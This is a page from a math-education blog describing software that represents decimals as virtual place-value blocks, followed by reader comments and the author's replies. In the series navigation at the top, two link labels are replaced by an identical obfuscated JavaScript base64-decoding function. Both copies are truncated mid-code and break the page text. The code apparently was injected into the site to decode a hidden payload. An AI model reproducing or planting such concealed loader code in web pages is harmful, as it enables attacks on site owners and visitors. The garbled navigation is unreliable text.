- Part I: Using the Power of Computers to Teach Decimal Fraction and Percent Concepts
- Part II: What Are Rational Numbers?
- Part III: function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe
ing-place-value/">Understanding Place Value - Part IV: function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe
-percents/">Decimal Fractions and Percents **Part V: Using Software to Teach Decimal Fractions**

The previous post listed some suggestions about teaching decimal fraction concepts, including ideas for modeling. On this page a computer software program that will represent decimal numbers is described.

### Hi-Flyer Decimals

The program acts much like an electronic box of place-value blocks. Students can click on buttons to show blocks representing decimal numbers, then use various tools to manipulate the representations. By opening certain windows, the number can also be represented by the written symbol, a "numeral expander", and the number name in words. As the block representation is changed by adding or taking away blocks, the contents of each window changes simultaneously.

The capabilities of this software were demonstrated at the NCTM 1999 Annual Meeting in San Francisco.

If you would like to **check out Hi-Flyer Decimals**, just visit the store to browse the products available.

## Using the Computational Power of Computers

Computer-generated place-value blocks have a number of benefits compared to conventional physical blocks, including:

- The representations are "cleaner" (Clements & McMillen 1996) - the blocks can be arranged in orderly rows, and so that they are not overlapped;
- The software can dynamically demonstrate processes such as regrouping;
- The computer "knows" how many blocks are on-screen, and can use that information to provide accurate data for on-screen windows;
- The computer can free the student from cognitive processing, allowing consideration of other aspects of the number concepts (Price 2001).

#### References

Clements, DH & McMillen, S 1996, ‘Rethinking "Concrete" Manipulatives’, *Teaching Children Mathematics*, vol. 2, pp. 270-279.

Price, PS 2001, 'The Development of Year 3 Students’ Place-Value Understanding: Representations and Concepts', unpublished doctoral thesis, Queensland University of Technology, Brisbane, Australia.

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These notes were prepared as handouts for a conference session:

NCTM 1999 Annual Meeting - San Francisco [Visit the NCTM site]. They were previously hosted at hi-flyer.com, and were moved to Classroom Professor in April, 2010.

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[related-posts]

melissaMay 15, 2010 at 12:32 PMI am a homeschool mom and am working with my daughter who has Dyslexia. I have witnessed that using the computer has helped her tremendously to learn concepts and hold them in memory…not to mention fun. I myself, am struggling to teach the fraction/decimal math, but after looking at what the decimal flyer is like, I believe we could both learn from it. Is there a way that we can have access to this program? Or do you have another computer program you could suggest?

Thank you, Melissa Steilling

ClassProfMay 15, 2010 at 3:12 PMHi Melissa

Thanks for your comment. I am working on new pages which will include a link to Hi-Flyer Decimals. I’ll let you know when it is posted. All the best to you and your daughter.

Regards, Peter Price

Mr. ParieyAugust 4, 2010 at 10:50 AMHi prof..

Your program is good for children. I’m very interesting with that kind of software. My name is Muhammad Safari and i’m master student for educational technology at UTM, Malaysia. I hope, i can contact you to discussing about development software for teaching and learning in Maths.

Regards, Muhammad Safari

PEter CurtisFebruary 20, 2011 at 9:02 PMPeter , is there a place that we can purchae your software in a version that is usable on later versions of windows? Have been to the hi flyer website but with no luck

Peter PriceJune 15, 2011 at 12:08 AMHi, Peter, thanks for the question.

I am pleased to tell you that our software and worksheets are now available for the first time from our new store – use the link near the top of every page, or the sidbar link on the decimals pages. Go to http://store.classroomprofessor.com/ to check out our products.

Peter PriceJune 15, 2011 at 9:28 PMThanks, everyone for your expressions of interest. I am pleased to let you know that Hi-Flyier Decimals is now available from our store – go to http://store.classroomprofessor.com to purchase the software, worksheets and multi-machine licenses.

You can try the software risk-free for 30 days, so if it doesn’t suit your needs in any way, you can request a full refund.

Let me know what you think!

SaimaNovember 16, 2011 at 4:40 AMHi Peter.. I am a teacher in primary school and your computer programme has helped me a lot . I have understood the correct way of teaching decimal fractions through pictorials . Is their any way I could get the refresher course which could help me in the upcoming topics ?

Saima

Peter PriceJanuary 31, 2012 at 8:22 PMHi Saima

Thanks for the question. We have a number of resources available here, including a number of video podcast episodes, and at our store, a growing list of software and worksheet resources. I hope you will come back if you find our materials helpful.

maryOctober 31, 2012 at 8:07 PMany equivalent for the iPad?

Peter PriceNovember 4, 2012 at 3:01 PMG’day, Mary! Thanks for the question.

Sadly, the Hi-Flyer Decimals program was only ever designed for use with a Windows or Mac computer. At present there is no browser or iOS version.

However, on that front we are now developing other math software which will work on iPads, as well as almost any computer platform. Once that is finished, we may come back to the decimals program and have it re-coded for modern tablet devices.